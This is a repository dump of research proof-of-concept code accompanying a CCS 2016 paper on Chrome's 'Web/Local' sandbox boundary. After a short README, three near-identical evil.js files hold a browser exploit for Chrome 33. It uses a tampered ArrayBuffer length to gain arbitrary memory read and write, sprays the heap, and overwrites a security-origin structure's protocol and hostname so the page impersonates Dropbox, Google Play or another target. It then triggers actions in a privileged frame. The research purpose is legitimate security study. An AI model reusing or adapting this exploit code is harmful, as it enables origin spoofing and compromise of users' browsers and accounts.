├── README.md ├── attack-dropbox ├── all.html ├── attack-dropbox.html └── evil.js ├── attack-openstack ├── all.html ├── attack-openstack.html └── evil.js └── attack-play ├── all.html ├── attack-play.html └── evil.js /README.md: -------------------------------------------------------------------------------- 1 | # Web-Local-Attacks 2 | ### Videos and POC for Web/Local attacks 3 | ================================================================================ 4 | 5 | -------------------------------------------------------------------------------- 6 | Authors 7 | -------------------------------------------------------------------------------- 8 | 9 | The Web/Local attacks are designed by [Yaoqi Jia], Zheng Leong Chua, [Hong Hu], 10 | Shuo Chen, Prateek Saxena and Zhenkai Liang. 11 | 12 | -------------------------------------------------------------------------------- 13 | Videos 14 | -------------------------------------------------------------------------------- 15 | 16 | Videos for our attacks are available at https://youtu.be/fIHaiQ4btok. 17 | 18 | Demo: Dropbox. https://youtu.be/P-oX0wEasz4. 19 | 20 | Demo: FILE Scheme. https://youtu.be/IPWJzzpvJdA. 21 | 22 | Demo: Google Play. https://youtu.be/nKyvCo5cn6c. 23 | 24 | Demo: VNC. https://youtu.be/dYSTxmNVgxI. 25 | 26 | -------------------------------------------------------------------------------- 27 | VM for Chrome 33 28 | -------------------------------------------------------------------------------- 29 | 30 | Our POC works for Chrome 33. We'll provide a link for the VM of this version soon. 31 | 32 | -------------------------------------------------------------------------------- 33 | Disclaimer 34 | -------------------------------------------------------------------------------- 35 | 36 | The code is a research-quality proof of concept, and is still under development for more features and bug-fixing. 37 | 38 | -------------------------------------------------------------------------------- 39 | References 40 | -------------------------------------------------------------------------------- 41 | 42 | [The ``Web/Local'' Boundary Is Fuzzy: A Security Study of Chrome’s Process-based Sandboxing](http://www.comp.nus.edu.sg/~jiayaoqi/publications/chrome_ccs.pdf) 43 | Yaoqi Jia, Zheng Leong Chua, Hong Hu, Shuo Chen, Prateek Saxena and Zhenkai Liang. 44 | In the 23rd ACM Conference on Computer and Communications Security ( CCS 2016 ) 45 | 46 | [Yaoqi Jia]: http://www.comp.nus.edu.sg/~jiayaoqi/ 47 | [Hong Hu]: http://www.comp.nus.edu.sg/~huhong/ 48 | -------------------------------------------------------------------------------- /attack-dropbox/all.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 |
6 |

Accessing Iframe

7 | 8 |
9 |
10 |
11 | 12 | 27 | -------------------------------------------------------------------------------- /attack-dropbox/attack-dropbox.html: -------------------------------------------------------------------------------- 1 | 2 |

3 | 4 | 5 | 15 | 16 | -------------------------------------------------------------------------------- /attack-dropbox/evil.js: -------------------------------------------------------------------------------- 1 | function hex(a) { 2 | if (a == undefined) return "0xUNDEFINED"; 3 | if (a < 0) a = 0xFFFFFFFF + a + 1; 4 | var ret = a.toString(16); 5 | if (ret.substr(0,2) != "0x") return "0x"+ret; 6 | else return ret; 7 | } 8 | 9 | function log(s) { 10 | var log = document.getElementById("log"); 11 | var ele = document.createElement("span"); 12 | console.log(s); 13 | ele.innerHTML = s; 14 | log.appendChild(ele); 15 | log.appendChild(document.createElement("br")); 16 | } 17 | function read32(addr) 18 | { 19 | var diff = addr - base; 20 | var index = diff/4; 21 | return faulty_arr[index]; 22 | } 23 | 24 | function write32(addr, value) 25 | { 26 | diff = addr - base; 27 | index = diff/4; 28 | faulty_arr[index] = value; 29 | } 30 | 31 | function exploit() 32 | { 33 | faulty_arr_buf = new ArrayBuffer(0x10); 34 | faulty_arr_buf.__defineGetter__("byteLength", function() { return 0xFFFFFFFC; }); 35 | faulty_arr = new Uint32Array(faulty_arr_buf); 36 | 37 | 38 | spray_array = new Array(0x1000); 39 | elements = new Array(0x250); 40 | for (var i = 0 ; i < spray_array.length ; i++) 41 | { 42 | if (i == 0x500) 43 | { 44 | attribute_string1 = unescape("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); 45 | attribute_string = unescape("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"); 46 | } 47 | spray_array[i] = 48 | new 49 | Uint32Array(0x1000/4); 50 | for (var j = 51 | 0; j < 52 | spray_array[i].length 53 | ; j++ ) 54 | { 55 | spray_array[i][j] 56 | = 57 | 0x41414141; 58 | } 59 | } 60 | for (var i = 0 ; i < elements.length ; i++) 61 | { 62 | elements[i] = document.createElement("div"); 63 | for (var j = 0 ; j < 0x100 ; j ++) 64 | { 65 | elements[i].setAttribute("elem" + j, 66 | attribute_string); 67 | } 68 | } 69 | var address_list = {}; 70 | for (var i = 0 ; i < 0x20000 ; i++) 71 | { 72 | addr = 0x200000 + 0x80000 73 | addr = 0x200000 + 0x1f8; 74 | addr = 0x100000 - 0x60000 75 | if ((faulty_arr[(addr - 0x1f8)/4 + i].toString(16) in 76 | address_list) == false) 77 | { 78 | address_list[faulty_arr[(addr - 79 | 0x1f8)/4 + i].toString(16)] = 0; 80 | } 81 | address_list[faulty_arr[(addr 82 | - 0x1f8)/4 + i].toString(16)] += 83 | 1; 84 | } 85 | max_val = 0; 86 | max_key = NaN; 87 | for (var key in address_list) 88 | { 89 | if (address_list[key] > max_val) 90 | { 91 | if (key!="0") 92 | { 93 | max_val = address_list[key]; 94 | max_key = key 95 | } 96 | } 97 | } 98 | min_val = 0; 99 | min_key = 0; 100 | for (var i = 0 ; i < 0x20000 ; i++) 101 | { 102 | addr = 0x200000 + 0x40000 103 | addr = 0x200000 + 0x1f8; 104 | addr = 0x100000 - 0x60000 105 | if ((faulty_arr[(addr - 0x1f8)/4 + i].toString(16))==max_key) 106 | { 107 | if (min_val ==0) 108 | { 109 | min_val = faulty_arr[(addr - 0x1f8)/4 + i -1]; 110 | } 111 | if (min_val < faulty_arr[(addr - 0x1f8)/4 + i -1]) 112 | { 113 | min_val = faulty_arr[(addr - 0x1f8)/4 + i -1]; 114 | } 115 | } 116 | } 117 | log ("max_heap:" + hex(min_val)); 118 | log("max_key:" + max_key); 119 | 120 | var string_address = parseInt("0x" + max_key); 121 | 122 | var string_start_index = 0; 123 | /* scan for the relative offset of the string (i is the amount of 124 | * dwords forward) */ 125 | for (i = 0 ; i < 0xFFFFFFFC/4 ; i++) 126 | { 127 | if (faulty_arr[i] == 0x61616161) 128 | { 129 | string_start_index = i; 130 | break; 131 | } 132 | } 133 | /* Now use the absolute string address to calculate the absolute 134 | * address of our buffer */ 135 | log("offset:" + string_start_index*4); 136 | log(hex(string_address)); 137 | base = string_address - string_start_index*4 + 12; 138 | log(hex(base)); 139 | 140 | 141 | var xxx = 0; 142 | min_key = min_val; 143 | comp_flag = 0; 144 | 145 | if (min_key == 0) 146 | { 147 | log("exploit error!"); 148 | return 0; 149 | } 150 | if (string_address == 0) 151 | { 152 | log("exploit error!"); 153 | return 0; 154 | } 155 | 156 | 157 | } 158 | 159 | function search() 160 | { 161 | var x = 0; 162 | for (qqq=0; comp_flag < 2; qqq++) 163 | { 164 | var heap_base = min_key - qqq; 165 | if (read32(heap_base+x)==1) 166 | { 167 | var a = read32(heap_base+x+2*4); 168 | var aa = read32(heap_base+x+3*4); 169 | if (a==aa && a!=0) 170 | { 171 | var c = read32(heap_base+x+4*4); 172 | var cc = read32(heap_base+x+5*4); 173 | var ccc = read32(heap_base+x+6*4); 174 | if (c==cc && cc==ccc && ccc==0) 175 | { 176 | var d = read32(heap_base+x+7*4); 177 | { 178 | protocol_addr = read32(heap_base+x+1*4); 179 | hostname_addr = read32(heap_base+x+3*4); 180 | 181 | // read length, if it is 19, we know it is 182 | // "www.comp.nus.edu.sg", we'll change this to 183 | // "www.google.com.sg" 184 | 185 | hostname_len = read32(hostname_addr + 0x4); 186 | log('found pattern len:'+hex(heap_base+x)+":"+hex(hostname_len)) 187 | if (hostname_len == 19) 188 | { 189 | write32(heap_base+x+5*4, 0x01000000); 190 | protocol_len = read32(protocol_addr + 0x4); 191 | comp_flag++; 192 | //if (protocol_len != 0x4) 193 | // continue; 194 | // this is the comp security origin 195 | log('found comp security origin'); 196 | write32(heap_base+x+5*4, 0x01000000); 197 | log('parent:'+hex(heap_base)) 198 | // write the length of protocol 199 | write32(protocol_addr + 0x4, 0x5); 200 | // write protocol "https" 201 | // original is "http" so we +4 and add "s" 202 | write32(protocol_addr + 0xc + 0x4, 0x00000073); 203 | 204 | //write the length of hostname 205 | //write32(hostname_addr + 0x4, 14); 206 | //write32(hostname_addr + 0x4, 17); 207 | write32(hostname_addr + 0x4, 15); 208 | // write the hostname "www.google.com.sg" 209 | // skip "www." 210 | write32(hostname_addr + 0xc + 4*1, 0x676f6f67); 211 | write32(hostname_addr + 0xc + 4*2, 0x632e656c); 212 | write32(hostname_addr + 0xc + 4*3, 0x732e6d6f); 213 | write32(hostname_addr + 0xc + 4*4, 0xababab67); 214 | 215 | write32(hostname_addr + 0xc + 4*0, 0x2e777777); 216 | write32(hostname_addr + 0xc + 4*1, 0x706f7264); 217 | write32(hostname_addr + 0xc + 4*2, 0x2e786f62); 218 | write32(hostname_addr + 0xc + 4*3, 0x006d6f63); 219 | 220 | //write32(hostname_addr + 0xc + 4*3, 0xabab6d6f); 221 | //write32(hostname_addr + 0xc + 4*4, 0xababab67); 222 | } 223 | } 224 | } 225 | } 226 | } 227 | } 228 | 229 | 230 | log('Successful Attack!'); 231 | document.getElementById('prep').contentDocument.getElementById('bad-dropbox').click(); 232 | 233 | } 234 | -------------------------------------------------------------------------------- /attack-openstack/all.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 |
6 |

Accessing Iframe

7 | 8 |
9 |
10 |
11 | 12 | 32 | -------------------------------------------------------------------------------- /attack-openstack/attack-openstack.html: -------------------------------------------------------------------------------- 1 | 2 |

3 | 4 | 5 | 15 | 16 | -------------------------------------------------------------------------------- /attack-openstack/evil.js: -------------------------------------------------------------------------------- 1 | function hex(a) { 2 | if (a == undefined) return "0xUNDEFINED"; 3 | if (a < 0) a = 0xFFFFFFFF + a + 1; 4 | var ret = a.toString(16); 5 | if (ret.substr(0,2) != "0x") return "0x"+ret; 6 | else return ret; 7 | } 8 | 9 | function log(s) { 10 | var log = document.getElementById("log"); 11 | var ele = document.createElement("span"); 12 | console.log(s); 13 | ele.innerHTML = s; 14 | log.appendChild(ele); 15 | log.appendChild(document.createElement("br")); 16 | } 17 | function read32(addr) 18 | { 19 | var diff = addr - base; 20 | var index = diff/4; 21 | return faulty_arr[index]; 22 | } 23 | 24 | function write32(addr, value) 25 | { 26 | diff = addr - base; 27 | index = diff/4; 28 | faulty_arr[index] = value; 29 | } 30 | 31 | function exploit() 32 | { 33 | faulty_arr_buf = new ArrayBuffer(0x10); 34 | faulty_arr_buf.__defineGetter__("byteLength", function() { return 0xFFFFFFFC; }); 35 | faulty_arr = new Uint32Array(faulty_arr_buf); 36 | 37 | 38 | spray_array = new Array(0x1000); 39 | elements = new Array(0x250); 40 | for (var i = 0 ; i < spray_array.length ; i++) 41 | { 42 | if (i == 0x500) 43 | { 44 | attribute_string1 = unescape("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); 45 | attribute_string = unescape("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"); 46 | } 47 | spray_array[i] = 48 | new 49 | Uint32Array(0x1000/4); 50 | for (var j = 51 | 0; j < 52 | spray_array[i].length 53 | ; j++ ) 54 | { 55 | spray_array[i][j] 56 | = 57 | 0x41414141; 58 | } 59 | } 60 | for (var i = 0 ; i < elements.length ; i++) 61 | { 62 | elements[i] = document.createElement("div"); 63 | for (var j = 0 ; j < 0x100 ; j ++) 64 | { 65 | elements[i].setAttribute("elem" + j, 66 | attribute_string); 67 | } 68 | } 69 | var address_list = {}; 70 | for (var i = 0 ; i < 0x20000 ; i++) 71 | { 72 | addr = 0x200000 + 0x80000 73 | addr = 0x200000 + 0x1f8; 74 | addr = 0x100000 - 0x60000 75 | if ((faulty_arr[(addr - 0x1f8)/4 + i].toString(16) in 76 | address_list) == false) 77 | { 78 | address_list[faulty_arr[(addr - 79 | 0x1f8)/4 + i].toString(16)] = 0; 80 | } 81 | address_list[faulty_arr[(addr 82 | - 0x1f8)/4 + i].toString(16)] += 83 | 1; 84 | } 85 | max_val = 0; 86 | max_key = NaN; 87 | for (var key in address_list) 88 | { 89 | if (address_list[key] > max_val) 90 | { 91 | if (key!="0") 92 | { 93 | max_val = address_list[key]; 94 | max_key = key 95 | } 96 | } 97 | } 98 | min_val = 0; 99 | min_key = 0; 100 | for (var i = 0 ; i < 0x20000 ; i++) 101 | { 102 | addr = 0x200000 + 0x40000 103 | addr = 0x200000 + 0x1f8; 104 | addr = 0x100000 - 0x60000 105 | if ((faulty_arr[(addr - 0x1f8)/4 + i].toString(16))==max_key) 106 | { 107 | if (min_val ==0) 108 | { 109 | min_val = faulty_arr[(addr - 0x1f8)/4 + i -1]; 110 | } 111 | if (min_val < faulty_arr[(addr - 0x1f8)/4 + i -1]) 112 | { 113 | min_val = faulty_arr[(addr - 0x1f8)/4 + i -1]; 114 | } 115 | } 116 | } 117 | log ("max_heap:" + hex(min_val)); 118 | log("max_key:" + max_key); 119 | 120 | var string_address = parseInt("0x" + max_key); 121 | 122 | var string_start_index = 0; 123 | /* scan for the relative offset of the string (i is the amount of 124 | * dwords forward) */ 125 | for (i = 0 ; i < 0xFFFFFFFC/4 ; i++) 126 | { 127 | if (faulty_arr[i] == 0x61616161) 128 | { 129 | string_start_index = i; 130 | break; 131 | } 132 | } 133 | /* Now use the absolute string address to calculate the absolute 134 | * address of our buffer */ 135 | log("offset:" + string_start_index*4); 136 | log(hex(string_address)); 137 | base = string_address - string_start_index*4 + 12; 138 | log(hex(base)); 139 | 140 | 141 | var xxx = 0; 142 | min_key = min_val; 143 | comp_flag = 0; 144 | 145 | if (min_key == 0) 146 | { 147 | log("exploit error!"); 148 | return 0; 149 | } 150 | if (string_address == 0) 151 | { 152 | log("exploit error!"); 153 | return 0; 154 | } 155 | 156 | 157 | } 158 | 159 | function search() 160 | { 161 | var x = 0; 162 | for (qqq=0; comp_flag < 1; qqq++) 163 | { 164 | var heap_base = min_key - qqq; 165 | if (read32(heap_base+x)==1) 166 | { 167 | var a = read32(heap_base+x+2*4); 168 | var aa = read32(heap_base+x+3*4); 169 | if (a==aa && a!=0) 170 | { 171 | var c = read32(heap_base+x+4*4); 172 | var cc = read32(heap_base+x+5*4); 173 | var ccc = read32(heap_base+x+6*4); 174 | if (c==cc && cc==ccc && ccc==0) 175 | { 176 | var d = read32(heap_base+x+7*4); 177 | { 178 | protocol_addr = read32(heap_base+x+1*4); 179 | hostname_addr = read32(heap_base+x+3*4); 180 | 181 | // read length, if it is 19, we know it is 182 | // "www.comp.nus.edu.sg", we'll change this to 183 | // "www.google.com.sg" 184 | 185 | hostname_len = read32(hostname_addr + 0x4); 186 | log('found pattern len:'+hex(heap_base+x)+":"+hex(hostname_len)) 187 | //if (hostname_len == 19) 188 | if (d == 0x1c) 189 | { 190 | write32(heap_base+x+5*4, 0x01000000); 191 | protocol_len = read32(protocol_addr + 0x4); 192 | comp_flag++; 193 | // this is the comp security origin 194 | log('found comp security origin'); 195 | write32(heap_base+x+5*4, 0x01000000); 196 | log('parent:'+hex(heap_base)) 197 | // write the length of protocol 198 | /* 199 | write32(protocol_addr + 0x4, 0x5); 200 | // write protocol "https" 201 | // original is "http" so we +4 and add "s" 202 | write32(protocol_addr + 0xc + 0x4, 0x00000073); 203 | 204 | //write the length of hostname 205 | //write32(hostname_addr + 0x4, 14); 206 | //write32(hostname_addr + 0x4, 17); 207 | write32(hostname_addr + 0x4, 15); 208 | // write the hostname "www.google.com.sg" 209 | // skip "www." 210 | write32(hostname_addr + 0xc + 4*1, 0x676f6f67); 211 | write32(hostname_addr + 0xc + 4*2, 0x632e656c); 212 | write32(hostname_addr + 0xc + 4*3, 0x732e6d6f); 213 | write32(hostname_addr + 0xc + 4*4, 0xababab67); 214 | 215 | write32(hostname_addr + 0xc + 4*0, 0x79616c70); 216 | write32(hostname_addr + 0xc + 4*1, 0x6f6f672e); 217 | write32(hostname_addr + 0xc + 4*2, 0x2e656c67); 218 | write32(hostname_addr + 0xc + 4*3, 0x006d6f63); 219 | */ 220 | //write32(hostname_addr + 0xc + 4*3, 0xabab6d6f); 221 | //write32(hostname_addr + 0xc + 4*4, 0xababab67); 222 | } 223 | } 224 | } 225 | } 226 | } 227 | } 228 | 229 | 230 | log('Successful Attack!'); 231 | setTimeout(function(){document.getElementById('prep').contentDocument.getElementById('bad-openstack').click();}, 2000); 232 | -------------------------------------------------------------------------------- /attack-play/all.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 |
6 |

Accessing Iframe

7 | 8 |
9 |
10 |
11 | 12 | 13 | 30 | -------------------------------------------------------------------------------- /attack-play/attack-play.html: -------------------------------------------------------------------------------- 1 | 2 |

3 | 4 | 5 | 13 | 14 | -------------------------------------------------------------------------------- /attack-play/evil.js: -------------------------------------------------------------------------------- 1 | function hex(a) { 2 | if (a == undefined) return "0xUNDEFINED"; 3 | if (a < 0) a = 0xFFFFFFFF + a + 1; 4 | var ret = a.toString(16); 5 | if (ret.substr(0,2) != "0x") return "0x"+ret; 6 | else return ret; 7 | } 8 | 9 | function log(s) { 10 | var log = document.getElementById("log"); 11 | var ele = document.createElement("span"); 12 | console.log(s); 13 | ele.innerHTML = s; 14 | log.appendChild(ele); 15 | log.appendChild(document.createElement("br")); 16 | } 17 | function read32(addr) 18 | { 19 | var diff = addr - base; 20 | var index = diff/4; 21 | return faulty_arr[index]; 22 | } 23 | 24 | function write32(addr, value) 25 | { 26 | diff = addr - base; 27 | index = diff/4; 28 | faulty_arr[index] = value; 29 | } 30 | 31 | function exploit() 32 | { 33 | faulty_arr_buf = new ArrayBuffer(0x10); 34 | faulty_arr_buf.__defineGetter__("byteLength", function() { return 0xFFFFFFFC; }); 35 | faulty_arr = new Uint32Array(faulty_arr_buf); 36 | 37 | 38 | spray_array = new Array(0x1000); 39 | elements = new Array(0x250); 40 | for (var i = 0 ; i < spray_array.length ; i++) 41 | { 42 | if (i == 0x500) 43 | { 44 | attribute_string1 = unescape("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); 45 | attribute_string = unescape("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"); 46 | } 47 | spray_array[i] = 48 | new 49 | Uint32Array(0x1000/4); 50 | for (var j = 51 | 0; j < 52 | spray_array[i].length 53 | ; j++ ) 54 | { 55 | spray_array[i][j] 56 | = 57 | 0x41414141; 58 | } 59 | } 60 | for (var i = 0 ; i < elements.length ; i++) 61 | { 62 | elements[i] = document.createElement("div"); 63 | for (var j = 0 ; j < 0x100 ; j ++) 64 | { 65 | elements[i].setAttribute("elem" + j, 66 | attribute_string); 67 | } 68 | } 69 | var address_list = {}; 70 | for (var i = 0 ; i < 0x20000 ; i++) 71 | { 72 | addr = 0x200000 + 0x80000 73 | addr = 0x200000 + 0x1f8; 74 | addr = 0x100000 - 0x60000 75 | if ((faulty_arr[(addr - 0x1f8)/4 + i].toString(16) in 76 | address_list) == false) 77 | { 78 | address_list[faulty_arr[(addr - 79 | 0x1f8)/4 + i].toString(16)] = 0; 80 | } 81 | address_list[faulty_arr[(addr 82 | - 0x1f8)/4 + i].toString(16)] += 83 | 1; 84 | } 85 | max_val = 0; 86 | max_key = NaN; 87 | for (var key in address_list) 88 | { 89 | //LOG("a:" + hex(key) + ":" + address_list[key]); 90 | if (address_list[key] > max_val) 91 | { 92 | if (key!="0") 93 | { 94 | max_val = address_list[key]; 95 | max_key = key 96 | } 97 | } 98 | } 99 | min_val = 0; 100 | min_key = 0; 101 | for (var i = 0 ; i < 0x20000 ; i++) 102 | { 103 | addr = 0x200000 + 0x40000 104 | addr = 0x200000 + 0x1f8; 105 | addr = 0x100000 - 0x60000 106 | if ((faulty_arr[(addr - 0x1f8)/4 + i].toString(16))==max_key) 107 | { 108 | if (min_val ==0) 109 | { 110 | min_val = faulty_arr[(addr - 0x1f8)/4 + i -1]; 111 | } 112 | if (min_val < faulty_arr[(addr - 0x1f8)/4 + i -1]) 113 | { 114 | min_val = faulty_arr[(addr - 0x1f8)/4 + i -1]; 115 | } 116 | } 117 | } 118 | log ("max_heap:" + hex(min_val)); 119 | log("max_key:" + max_key); 120 | 121 | var string_address = parseInt("0x" + max_key); 122 | 123 | var string_start_index = 0; 124 | /* scan for the relative offset of the string (i is the amount of 125 | * dwords forward) */ 126 | for (i = 0 ; i < 0xFFFFFFFC/4 ; i++) 127 | { 128 | if (faulty_arr[i] == 0x61616161) 129 | { 130 | string_start_index = i; 131 | break; 132 | } 133 | } 134 | /* Now use the absolute string address to calculate the absolute 135 | * address of our buffer */ 136 | log("offset:" + string_start_index*4); 137 | log(hex(string_address)); 138 | base = string_address - string_start_index*4 + 12; 139 | log(hex(base)); 140 | 141 | var xxx = 0; 142 | min_key = min_val; 143 | comp_flag = 0; 144 | 145 | if (min_key == 0) 146 | { 147 | log("exploit error!"); 148 | return 0; 149 | } 150 | if (string_address == 0) 151 | { 152 | log("exploit error!"); 153 | return 0; 154 | } 155 | 156 | 157 | } 158 | 159 | function search() 160 | { 161 | var x = 0; 162 | for (qqq=0; comp_flag < 2; qqq++) 163 | { 164 | var heap_base = min_key - qqq; 165 | if (read32(heap_base+x)==1) 166 | { 167 | var a = read32(heap_base+x+2*4); 168 | var aa = read32(heap_base+x+3*4); 169 | if (a==aa && a!=0) 170 | { 171 | var c = read32(heap_base+x+4*4); 172 | var cc = read32(heap_base+x+5*4); 173 | var ccc = read32(heap_base+x+6*4); 174 | if (c==cc && cc==ccc && ccc==0) 175 | { 176 | var d = read32(heap_base+x+7*4); 177 | { 178 | protocol_addr = read32(heap_base+x+1*4); 179 | hostname_addr = read32(heap_base+x+3*4); 180 | 181 | // read length, if it is 19, we know it is 182 | // "www.comp.nus.edu.sg", we'll change this to 183 | // "www.google.com.sg" 184 | 185 | hostname_len = read32(hostname_addr + 0x4); 186 | log('found pattern len:'+hex(heap_base+x)+":"+hex(hostname_len)) 187 | if (hostname_len == 19) 188 | { 189 | write32(heap_base+x+5*4, 0x01000000); 190 | protocol_len = read32(protocol_addr + 0x4); 191 | comp_flag++; 192 | if (protocol_len != 0x5) 193 | continue; 194 | // this is the comp security origin 195 | log('found comp security origin'); 196 | write32(heap_base+x+5*4, 0x01000000); 197 | log('parent:'+hex(heap_base)) 198 | // write the length of protocol 199 | write32(protocol_addr + 0x4, 0x5); 200 | // write protocol "https" 201 | // original is "http" so we +4 and add "s" 202 | write32(protocol_addr + 0xc + 0x4, 0x00000073); 203 | 204 | //write the length of hostname 205 | //write32(hostname_addr + 0x4, 14); 206 | //write32(hostname_addr + 0x4, 17); 207 | write32(hostname_addr + 0x4, 15); 208 | // write the hostname "www.google.com.sg" 209 | // skip "www." 210 | write32(hostname_addr + 0xc + 4*1, 0x676f6f67); 211 | write32(hostname_addr + 0xc + 4*2, 0x632e656c); 212 | write32(hostname_addr + 0xc + 4*3, 0x732e6d6f); 213 | write32(hostname_addr + 0xc + 4*4, 0xababab67); 214 | 215 | write32(hostname_addr + 0xc + 4*0, 0x79616c70); 216 | write32(hostname_addr + 0xc + 4*1, 0x6f6f672e); 217 | write32(hostname_addr + 0xc + 4*2, 0x2e656c67); 218 | write32(hostname_addr + 0xc + 4*3, 0x006d6f63); 219 | 220 | } 221 | } 222 | } 223 | } 224 | } 225 | } 226 | 227 | 228 | log('Successful Attack!'); 229 | setTimeout(function(){document.getElementById('prep').contentDocument.getElementById('bad-play').click();}, 2000); 230 | --------------------------------------------------------------------------------